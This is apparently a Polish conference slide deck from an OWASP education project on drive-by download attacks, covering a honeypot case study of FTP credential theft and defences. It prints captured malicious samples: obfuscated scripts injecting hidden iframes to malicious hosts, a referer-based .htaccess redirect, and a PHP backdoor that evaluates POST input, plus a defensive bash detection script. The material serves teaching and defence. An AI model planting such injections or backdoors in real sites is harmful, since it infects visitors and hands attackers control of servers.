Ataki drive-by download Filip Palian filip.palian@pjwstk.edu.pl Education Project
Rozkład jazdy Drive-by download – co to takiego? Dlaczego problem istnieje? Kogo dotyczy problem? Skala problemu Z życia wzięte Studium przypadku Dekodowanie Przeciwdziałanie Przyszłość Co na to OWASP?
Drive-by download – co to takiego? Pobranie z sieci szkodliwego oprogramowania bez zgody i/lub wiedzy użytkownika
Dlaczego problem istnieje? Błędy w przeglądarkach oraz dodatkach Błędy w stronach internetowych (wstrzyknięcia) Nieświadomość i lenistwo użytkowników Brak (stosowania) odpowiednich zabezpieczeń Botnety SPAM (D)DoS
Dlaczego problem istnieje? $ Pieniądze $ Władza $ Polityka = (pieniądze + władza) $ Religia = (pieniądze + władza)
Kogo głównie dotyczy problem? Użytkownicy przeglądarek internetowych Użytkownicy kont FTP + WWW Twórcy stron internetowych Firmy hostingowe
Skala problemu http://web.archive.org/web/20080525170526/http://top100.pl/
Skala problemu (home.pl) http://www.google.com/safebrowsing/diagnostic?site=AS:12824
Skala problemu (netart.pl) http://www.google.com/safebrowsing/diagnostic?site=AS:15967
Skala problemu (fastpark.net) http://www.google.com/safebrowsing/diagnostic?site=AS:13727
Skala problemu c.d. GoDaddy (AS26496) Dreamhost (AS26347) Akamai (AS20940) Microsoft (AS8075) Google (AS15169) OVH (AS16276)
Skala problemu c.d. Źródło: http://www.cert.pl/PDF/Raport_CP_2009.pdf
Z życia wzięte (a.k.a. cyferki++) Na przykładzie danych zebranych w okresie VIII 2008 – III 2010: 44042 (wykryte) zainfekowane pliki 233 (wykryte) domeny 70 rodzajów szkodliwego oprogramowania
Z życia wzięte c.d. 2008 2009 2010
Z życia wzięte c.d. Kwi 2009: Lip 2009: Paź 2009: Lut 2010: Korea Pn. wystrzeliwuje rakietę Taepodong-2 Trzęsienie ziemi w Meksyku Lip 2009: Zamachy terrorystyczne na hotele w Dżakarcie Śmierć Michaela Jacksona Paź 2009: Barack Obama laureatem pokojowej nagrody Nobla Lut 2010: Igrzyska olimpijskie w Vancouver Trzęsienia ziemi na Haiti i w Chile
Z życia wzięte c.d. Źródło: http://cert.gov.pl/portal/cer/8/298/Cyberprzestepcy_wykorzystuja_tragedie_narodowa_aktualizacja.html
Z życia wzięte c.d.
Studium przypadku Ofiara odwiedza zainfekowaną stronę WWW Malware na stronie wykorzystuje błąd w oprogramowaniu Kradzież danych dostępowych do konta FTP Zalogowanie się na konto FTP i pobranie plików Dodanie szkodliwej treści do pobranych plików Wgranie na serwer FTP zainfekowanych plików
Studium przypadku c.d. Środowisko testowe honeypota: VMware MS Windows XP Professional SP2 Systemowy firewall AVG 8 Adobe Reader 9.x MS Internet Explorer 6.x Capture HPC (The Honeynet Project)
Studium przypadku c.d. 1. Ofiara odwiedza zainfekowaną stronę. Gdzie takie znaleźć? http://www.google.com/safebrowsing/diagnostic?site= http://stopbadware.org/reports/ip http://stopbadware.org/reports/asn http://www.malwaredomainlist.com/mdl.php Co się dzieje na tym etapie?
Studium przypadku c.d.
Studium przypadku c.d. 2. Malware na stronie wykorzystuje błędy w oprogramowaniu Przeglądarki (głównie IE, FX, Opera) Wtyczki (Adobe Reader, RealPlayer, ActiveX etc.) Silniki skryptowe (np. SeaMonkey, JScript, Rhino) No dobrze, i co dalej?
Studium przypadku c.d.
Studium przypadku c.d.
Studium przypadku c.d.
Studium przypadku c.d.
Studium przypadku c.d. Efekt?
Studium przypadku c.d. Co nas uderzyło? Co robi ten trojan? Trojan FakeRean Co robi ten trojan? Win32/FakeRean podszywa się pod oprogramowanie antywirusowe i wyświetla nieprawdziwe informacje o zainfekowanych plikach w systemie. Następnie informuje użytkownika o tym, że musi on zapłacić za usunięcie zagrożeń, które nie istnieją. Gdzie znajdę więcej informacji? http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name= Win32%2fFakeRean
Studium przypadku c.d. 3. Kradzież danych dostępowych do konta FTP (i nie tylko) Sniffery Keyloggery Serwery proxy Zapamiętywanie haseł w aplikacjach
Studium przypadku c.d. 4. Zalogowanie się na konto FTP i pobranie plików Jan 9 16:51:00 foo pure-ftpd: (?@x.x.x.x) [INFO] New connection from x.x.x.x Jan 9 16:51:00 foo pure-ftpd: (?@x.x.x.x) [INFO] ftpuser is now logged in Jan 9 16:51:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/index.html downloaded Jan 9 16:51:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/index.php downloaded Jan 9 16:51:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/bar/index.html downloaded Jan 9 16:51:02 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/tmp/index.htm downloaded (...) Jan 9 16:51:03 foo pure-ftpd: (ftpuser@x.x.x.x) [INFO] Logout.
Studium przypadku c.d. 5. Dodanie szkodliwej treści do pobranych plików Przed “<html>” W “<body>” Po “</html>” Gdziekolwiek ucinając resztę zawartości pliku
Studium przypadku c.d. 5. Dodanie szkodliwej treści do pobranych plików $ tail -4 index.html </BODY></HTML><!-- ad --><script> .12312313,1313123+13123.31313,d=(("sdfsfd"?(.45,(.33?("wi"+("re","n")):("dfg",.44,d=5))):(.4,"sdf"))),e=(g="5", (.44,.0,"d"+(.33,(.4?(45./.343,"ow"):("34","34"))))),f=("poc"?(.0?.0:"d"+("43",.3,"oc")):"333"),u=(33?("u" +("z",44.,"m")):33)+("e"+(1,1,5,(.3,"n")+("d","t")));y=(a=(444444444444444444444444,55555555,"rrrrrrrrrrrr","e"), b=(.5?"v":("d"?"f":"tt")),c=("33"?(.33/44.,.33,33.,.33,"a"):"z"),g=(("f"),(333/444.,"l")));(ee=eval(a+(55/ (...) ("E","e")))+(("a","r")+("woman","man"))+("ad"+("re","ve"))+"rt"+("his",("is"?"is":"a "+"man"))+"i"+("S","ng")+ (".a",".n")+"et"+("/s","/i")+"n.c"+"gi"+("!!!","?")+("A","3","2")+"&' "+("si","wi")+"d"+"th="+("1","3")+"0 he "+("sig","i"+"g")+"ht=2"+((0,"0")+" s"+("vy","ty"))+"le='v"+("asi",("as","is")+"i")+("b"+(33?"il":"aa"))+"ity:"+ ("bi","hi")+"dd"+("de","en")+"'></i"+"fr"+("na"+("you","me"),"a"+("me"?"me":"you"))+">");}var ahsd78asd as6dyasdiashdiayd=true;</script><!-- /ad --><iframe src="http://homenameworld.cn:8080/ts/in.cgi?pepsi21" width=12 height=12 style="visibility: hidden"></iframe><iframe src="http://nakulpi.net/?click=457956" widt h=1 height=1 style="visibility:hidden;position:absolute"></iframe>
Studium przypadku c.d. 6. Wgranie na serwer FTP zainfekowanych plików Jan 9 16:52:00 foo pure-ftpd: (?@x.x.x.x) [INFO] New connection from x.x.x.x Jan 9 16:52:00 foo pure-ftpd: (?@x.x.x.x) [INFO] ftpuser is now logged in Jan 9 16:52:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/.htaccess uploaded Jan 9 16:52:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/index.html uploaded Jan 9 16:52:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/index.php uploaded Jan 9 16:52:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/bar/.htaccess uploaded Jan 9 16:52:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/bar/index.html uploaded Jan 9 16:52:02 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/tmp/jquery.js uploaded (...) Jan 9 16:52:03 foo pure-ftpd: (ftpuser@x.x.x.x) [INFO] Logout.
Studium przypadku c.d. 6. Wgranie na serwer FTP zainfekowanych plików $ cat .htaccess RewriteEngine On RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC] RewriteRule .* http://x.x.x.x/in.html?s=xx [R,L]
Przykłady szkodliwego oprogramowania 1) <iframe src="http://porno-cmc.ru/?partner=1354" width=2 height=2 style="visibility:hidden"></iframe> 2) <?php echo '<iframe src="http://cdp uvbhfzz.com/d l/adv598.php" width=1 height=1></iframe>'; ?> 3) <script>/*GNU GPL*/ try{window.onload = function(){var Z6kdr96vryd = document.createElement ('s!^(@c&!r)#@i^#p@(@t!!$'.replace(/\$|&|\!|\^|#|@|\)|\(/ig, ''));Z6kdr96vryd.setAttribute('type', 'text/javascript');Z6kdr96vryd.setAttribute('src', 'h^^$t$(^^)t@p((:$$/(&(/&y#e(s!&^!k)y&^#-!c$) $o^m^!(@$.&)n$a!))!u$)k)^$r($i!)&&.#@&c(o#$@m!^.($(t^h@@e^p#@i&@r&a&$t))$^)e!((b@ a@)!&y(@^-@&^#o$&^((r)!)g@&(.#^v!@!@i#^e#&$$w@^^h!!$@)o&m@e@s$)a#$!l^e!^.@r&) u$(:&)8)0!)8()@0)/##c$l$!@(i#c#)k)^!s(o$(#r!@^@&.#!)c@&o^@m!##)/#^!!c!$($l#($i)&c@$&k ^^(s!&o!^!&r#!(.)c^^)o&#m&#$/#&^g)u#$$)a#r!&)&&d^^i#)a@!n#$^.#c$@$o$.!^!@u(k(()/)# !g#^!o^^!o!!^g!l)!e&.)c!@o#)m^/&f##&(i$(^l)(e&#h!i#@p&p^)o(.!^@^c&)&o@(!m!))$/^)'. replace(/\(|\!|\$|\^|\)|#|&|@/ig, ''));Z6kdr96vryd.setAttribute('defer', 'defer');Z6kdr96vryd.setAttribute ('id', 'Q((4^f!#3)#z@#5^)!s!&!f)$^9@2^o$)x@#@$)'.replace(/\$|\)|@|#|\!|&|\(|\^/ig, '')); document.body.appendChild(Z6kdr96vryd);}} catch(e) {}</script>
Przykłady szkodliwego oprogramowania c.d. 5) <!-- o --><script language='JavaScript'>function nbsp() {var t,o,l,i,j;var s='';s+='060047116101120116097116101097062060047116101120116097114101097062'; s+='060073070082065077069032115114099061034104116116112058047047109097114099111098101114110097114100111'; s=s+'110105046099111109047098095116114047105110100101120046112104112034032119105100116104061051032104101'; s=s+'105103104116061051032115116121108101061034100105115112108097121058110111110101034062060047073070082'; s=s+'065077069062032'; t='';l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30)); document.write(String.fromCharCode(t));t='';}}nbsp(); </script><!-- c → 6) <?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_X HGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50Ln DyaXRlKHVuZXNjYXBlKCdkT3ElM0NzY3JpOWdwRWEydE44SiUyMHNPa3JjRWEyJTNET2slMkYlMkY5Zzk0JTJFMERCMjBEQjRFYTI3J TJFMiUyRTlnMTk1T2slMkZqcW9nMnVOOEplRWEycjEweU9rJTJFMERCanMwREIlM0UlM0NPayUyRnNjcmlwdCUzRScpLnJlcGxhY2Uo L044Snw5Z3xFYTJ8MERCfGRPcXxvZzJ8MTB8T2svZywiIikpOwogLS0+PC9zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr ($s,0,2)==chr(31).chr(139)));$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,) {20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s= str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script> #','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body') ||stristr($s,'</title><iframe src="http://cutlot.cn/in.cgi?income51" width=1 height=1style="visibility: hidden"></iframe>'))$s= $s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS ['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1 ) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$ i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0 ]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2() ; ?>
Dekodowanie (na szybko ;-p) noScript i alert() prawdę Ci powiedzą.
Dekodowanie c.d. noScript:
Dekodowanie c.d. alert() na przykładzie Exploit.HTML.IESlice.h: Przed: <script>document.write(unescape('%3C%73%63%72%69%70%74%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%7A%58%28%73 %29%0D%0A%7B%0D%0A%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%20%73%2E%73%75%62%73%74%72 %28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%0D%0A%76%61%72%20%74%3D%27%27%3B%66%6F%72 %28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%20%74%2B%3D%53%74%72%69%6E%67 %2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D %73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%20%0D%0A%64%6F%63%75 %6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%20%7D%0D%0A%3C%2F%73 %63%72%69%70%74%3E'));zX('%2A8Hxhwnuy%2A75qfslzflj%2A8IOf%7BfXhwnuy%2A8Jkzshynts%2A75ih%2A7%3D%7D%2A7%3E%2A%3CG %7Bfw%2A75q%2A8I');</script> Po: <script>alert(unescape('%3C%73%63%72%69%70%74%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%7A%58%28%73
Dekodowanie c.d. alert():
Przeciwdziałanie Jak można się bronić o ile w ogóle? W kontekście: Badaczy Po stronie serwera Po stronie klienta
Przeciwdziałanie (research) Narzędzia do analizy szkodliwego oprogramowania: http://stopbadware.com http://unmaskparasites.com http://malzilla.sourceforge.net/index.html http://wepawet.iseclab.org http://virustotal.com (hispasec) http://virusscan.jotti.org http://anubis.iseclab.org http://badwarebusters.org/community/submit http://www.secureworks.com/research/tools/caffeinemonkey.html http://www.google.com/safebrowsing/report_badware/ ...
Przeciwdziałanie (research) c.d. Zalety: Wysoki stopień wykrywalości szkodliwego oprogramowania Wady: W większości są to rozwiązania on-line i/lub wymagające interakcji użytkownika Stosunkowo długi czas analizy plików
Przeciwdziałanie (serwer) Dostępne rozwiązania: ProFTPD + mod_exec Pure-FTPd + uploadscript Firewalle aplikacyjne (WAF-y) Systemy IDS/IPS Antywirusy
Przeciwdziałanie (serwer) c.d. Zalety: Możliwość implementacji własnego rozwiązania z FTPD Blokada “wstrzyknięć” przez WAF-y Wady: WAF-y nie posiadają sygnatur dla szkodliwego oprogramowania Antywirusy słabo rozpoznają szkodliwe oprogramowanie Systemy IDS/IPS nie posiadają sygnatur dla szkodl. oprogr. Brak możliwości zabronienia wgrania na serwer zainfekowanych plików
Przeciwdziałanie (serwer) c.d. Przykład własnego rozwiązania opartego na: Pure-FTPd + uploadscript + skrypt bash Gdyby ktoś był ciekaw... Rozwiązanie stabilne, sprawdzone w środowisku produkcyjnym (serwer i ~2000 klientów) z liczbą false positive bliską “/dev/zero”.
Przeciwdziałanie (serwer) c.d. -- cut -- # "THE BEER-WARE LICENSE": # <filip.palian@pjwstk.edu.pl> wrote this file. As long as you retain this # notice you can do whatever you want with this stuff. If we meet some day, # and you think this stuff is worth it, you can buy me a beer in return Filip Palian. ... # Finds: "foo.(cn|ru|ro)" with iframe egrep -i "*[[:print:]]\.(cn|ru|ro)" "$1" | egrep "[[:print:]]<iframe>[[:print:]]" 1>/dev/null; if [ $? -eq 0 ]; then boo "foo.(cn|ru|ro) with iframe"; exit; fi # Finds: "function F00(B4R)" egrep -i "function [[:alnum:]]{14,}\([[:alnum:]]{14,}\)" "$1" 1>/dev/null; boo "function F00(B4R)"; exit; Fi … # Finds: everything else what's in /etc/mwdb.txt for i in `cat $MWDB`; do grep "$i" "$1" 1>/dev/null; boo "/etc/mwdb.txt"; break; done
Przeciwdziałanie (serwer) c.d. Zalety: Wysoki stopień wykrywalości szkodliwego oprogramowania Wady: Stworzenie nowej sygnatury poprzedza infekcja Brak możliwości zabronienia wgrania na serwer zainfekowanych plików Utrzymanie i rozwijanie rozwiązania wymaga czasu i środków
Przeciwdziałanie (klient) Antywirusy? Należy korzystać z antywirusów! Źródło: http://www.virustotal.com/pl/analisis/f6f3ebbbd571d208b6941fe811a55b14d447cd94e1e3c0fbc5fec4a7f2d64975-1269855787
Przeciwdziałanie (klient) c.d. Zalety: Dobry zaktualizowany antywirus być może nas ochroni Wady: Stosunkowo słaba wykrywalność szkodliwego oprogr. Potrzeba codziennej aktualizacji bazy sygnatur Duże prawdopodobieństwo, że dobry zaktualizowany antywirus nie wykryje zagrożenia
Przeciwdziałanie (klient) c.d. Przeglądarki internetowe: Zainstalowanie dodatku “NoScript” dla FX! Wyłączenie zbędnych opcji i pluginów, np.: Cookies (whitelisting) Java ( Kurnik;-( ) JavaScript (whitelisting) Adobe Reader (pobrać, przeskanować, otworzyć) RealPlayer Aktualizacja oprogramowania!
Przeciwdziałanie (klient) c.d. Zalety: Znaczne zwiększenie bezpieczeństwa Wady: Nieco utrudnione korzystanie z przeglądarki (przyzwyczajenie!)
Przyszłość Identyfikacja szkodliwego oprogramowania jeszcze trudniejsza przez podszywanie się pod np.: Packery Staty Optymalizatory (IonCube, Encode, itp.)
Przyszłość c.d. Packer: Staty: eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)) {while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'}; c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p} ('3.4("<0%5%6%7%2%1=\\"8://%1%9%0%a%b%0%c%1%d%e%f%2\\" g=\\"h :i\\">");',19,19,'69|65|6d|document|write|66|72|61|http|76|6c|73|74|2e|63|6f|style| visibility|none'.split('|'),0,{})) Staty: <!-- (C) stat666 / Main page --> <script type="text/javascript"> <!-- document.writeln('<'+'scr'+'ipt type="text/javascript" src="http://s1.hit.stat666.com/_'+ (new Date()).getTime()+'/script.js?id=1234567890"></'+'scr'+'ipt>'); //--> </script>
Co na to OWASP? http://www.owasp.org/index.php/Category:OWASP_Season_of_Code
Pytania/uwagi/sugestie/opinie ?
Dziękuję za uwagę ;-) <filip.palian@pjwstk.edu.pl>